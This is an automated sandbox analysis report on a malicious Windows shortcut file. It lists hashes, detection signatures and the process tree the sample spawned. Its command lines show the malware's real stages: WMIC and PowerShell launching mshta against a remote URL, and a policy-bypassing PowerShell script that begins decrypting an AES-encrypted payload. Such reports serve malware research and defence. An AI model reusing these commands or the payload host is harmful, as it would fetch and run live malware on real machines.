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Windows
Analysis Report
n5Szx8qsFB.lnk
Overview
General Information
Sample name: | n5Szx8qsFB.lnkrenamed because original name is a hash value |
Original sample name: | a1cfce4d0ce44d183b7c9c5bbce9d8f5.lnk |
Analysis ID: | 1581249 |
MD5: | a1cfce4d0ce44d183b7c9c5bbce9d8f5 |
SHA1: | f5f7d71c40e07bb97f55754f920879f05747754e |
SHA256: | be673f7be053fa7deb72a5e592c48c2acfc2f6f31c5c5aeaaf03602419aa00e9 |
Tags: | lnkuser-abuse_ch |
Infos: | |
Detection
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Drops script at startup location
Suricata IDS alerts for network traffic
Windows shortcut file (LNK) starts blacklisted processes
AI detected suspicious sample
Binary is likely a compiled AutoIt script file
Bypasses PowerShell execution policy
Contains functionality to create processes via WMI
Creates processes via WMI
Drops PE files to the user root directory
Drops PE files with a suspicious file extension
Powershell drops PE file
Sigma detected: Execution from Suspicious Folder
Sigma detected: Execution of Powershell Script in Public Folder
Sigma detected: Parent in Public Folder Suspicious Process
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: Script Interpreter Execution From Suspicious Folder
Sigma detected: Suspicious Invoke-WebRequest Execution
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: Suspicious Process Created Via Wmic.EXE
Sigma detected: WScript or CScript Dropper
Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder
Suspicious powershell command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Windows shortcut file (LNK) contains suspicious command line arguments
AV process strings found (often used to terminate AV products)
Binary contains a suspicious time stamp
Contains functionality for read data from the clipboard
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Creates files inside the system directory
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the user directory
Drops files with a non-matching file extension (content does not match file extension)
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found evasive API chain (date check)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
OS version to string mapping found (often used in BOTs)
PE file contains an invalid checksum
PE file contains sections with non-standard names
Potential key logger detected (key state polling based)
Queries disk information (often used to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Searches for the Microsoft Outlook file path
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Execution of Suspicious File Type Extension
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: PowerShell Web Download
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Stores files to the Windows start menu directory
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64
- WMIC.exe (PID: 7716 cmdline:
"C:\Window s\System32 \Wbem\wmic .exe" proc ess call c reate "pow ershell -w 1 powersh ell -Comma nd ('ms' + 'hta' + ' .exe ' + ' https://ti ffany-care ers.com/gh ep2412_2') " MD5: C37F2F4F4B3CD128BDABCAEB2266A785) - conhost.exe (PID: 7724 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 7832 cmdline:
powershell -w 1 powe rshell -Co mmand ('ms ' + 'hta' + '.exe ' + 'https:/ /tiffany-c areers.com /ghep2412_ 2') MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 7840 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 8004 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -Command " mshta.exe https://ti ffany-care ers.com/gh ep2412_2" MD5: 04029E121A0CFA5991749937DD22A1D9) - mshta.exe (PID: 8084 cmdline:
"C:\Window s\system32 \mshta.exe " https:// tiffany-ca reers.com/ ghep2412_2 MD5: 0B4340ED812DC82CE636C00FA5C9BEF2) - powershell.exe (PID: 7508 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -w 1 -ep U nrestricte d -nop $dd g = '14C80 253B9AE5AE AA5DE24659 F01D509CF4 60EE458FB4 9BF1D72DCB 2E4749D746 CD9DB27687 A100C104C2 0E190D5CF6 17E269315F BABFADF12B 96DC56A539 AF812E893A CB6CACEE87 71B90DE799 66EA8AF496 71C6138083 807E7ACDC6 8E3EC61353 DA1434E399 CB7632B9BE 90E97EAB29 FCB7B35D42 2611B152F9 5CF04BE80F 6B6A45FAFD C649729168 2B5C7802B6 FCA42509A8 96D18EA54C B45505CFD7 A1C8C74E68 5914F86C73 1E1558FF41 7EC92A2DC9 D23F19EB3F CF043A5838 9E6E7429A8 9F779599FA FF7153337A DEF7092F87 CFD41560B4 925E53F925 49F33E8B6D C1B08F41B7 2E964F2ADE 2038B32A7D DA6BB4275B 72C7CB61D2 D3262561B5 59438D772E 33F25EA16A 4F4A5B37E3 A1E2D30FAA 7136E1F92B 62F8D942D0 7912ED348F F9FAF50222 803F5EDC5A 7672C41308 32A45ACB7D 486ACF004A 4FD70C7A75 9323981C20 A626A900DA 5D54CA9800 F53C7C7F58 3F68FFAF09 8F3B5D3E55 A04183E536 B28D4AB10F A71047408F D900EC8BC3 19B08354FE 06CAF885C4 95BED4038E 9B3A38F159 66CD61A13D 4B4829EDC2 B5CF872096 790A6EEE47 4238D344D3 E50A48B24E 4147A52512 7583AEFFDA B1B1445A14 B25869F584 30AFE067B1 717ACB8EE6 FC03DB8BFC 4E85494A73 5B2E5D5529 B7F210A86B 8968AA5A63 5BA3167A33 F53D93117B 8DABA13FEA EC806D0469 6D01217965 2DA2D00ED0 DB378B1ADB 5CCB6887EE CFB415501C 8B4AB4951E 2E3C3A7B58 210300BA63 3883134A21 33BCFFB77A 40A2CF7126 1E5C96AF13 8F818430C5 F1950F6624 36CD9AB039 C3010D102A E11667EE05 A1FDE3F9D0 9DF9360A59 7BC3C17258 CC4D59068E 1608C9CD7E B29317D774 A9ACD572A8 2D44899381 2D247A035C F0A3BE7E66 E208C657B4 95D80C5C8F D08AFAEDC1 DADB422C48 F0CF4A0188 46F9095299 885F66C8E7 7A16BD3E2D 37370BF39F 9612227FB2 4AED54EBC2 A16B61240C F5F60839C1 E68488B716 8C818D4C7C 06BD77114F D81636E45E EB0BE6C7D8 8F9A3100B8 61CFA70C3F 20C85841CB 6A80D7FF29 7E85CBB562 1B570F71F2 9D5040E8D4 065899B69E 3B0487DD29 6D8050D2B1 3F86636C3E 0DA27F5B9B 38C6EBC909 9B3240A5CF 588B5516E4 730275575A 0CF69FFC20 A1D3A74FBD AFF1A89C28 1470E96797 91BB282902 F01BE778EA 837392E23B B96C69B92C AB14848DA2 4780732741 3F8E070DEB 759C8C6DB8 4B6F126189 5C9DF9E65A 07AAD48D9C D1112B002F 7E2FD2DB43 0C92A840AD 1C8DD0E9F9 28700F8441 FD7ECB8F92 AA178D7809 945E9E75ED 50BD667AB1 1BFBBE97A6 8416CEDF4B 67B3282C1E 3CCDED9731 82C3D93E04 96E2078AC0 2F08663A51 97CBA0AC63 D871B3C79E D71FAB6A00 5D12988DC3 DB05908BBA 6B8228970F BB9CF0DFB5 09FD035E01 7339D4B70C 11381B124C ECE98E86BE AD02376FF7 BB51EB6915 1C7FFB32FF 35D6D51786 E695455435 2414D6A556 2644B';fun ction vyG ($mgZiHqt) {return -s plit ($mgZ iHqt -repl ace '..', '0x$& ')}; $WAvg = vy G($ddg.Sub String(0, 2048));$SK z = [Syste m.Security .Cryptogra phy.Aes]:: Create();$ SKz.Key = vyG($ddg.S ubString(2 048));$SKz .IV = New- Object byt e[] 16;$mZ ouvbL = $S Kz.CreateD ecryptor()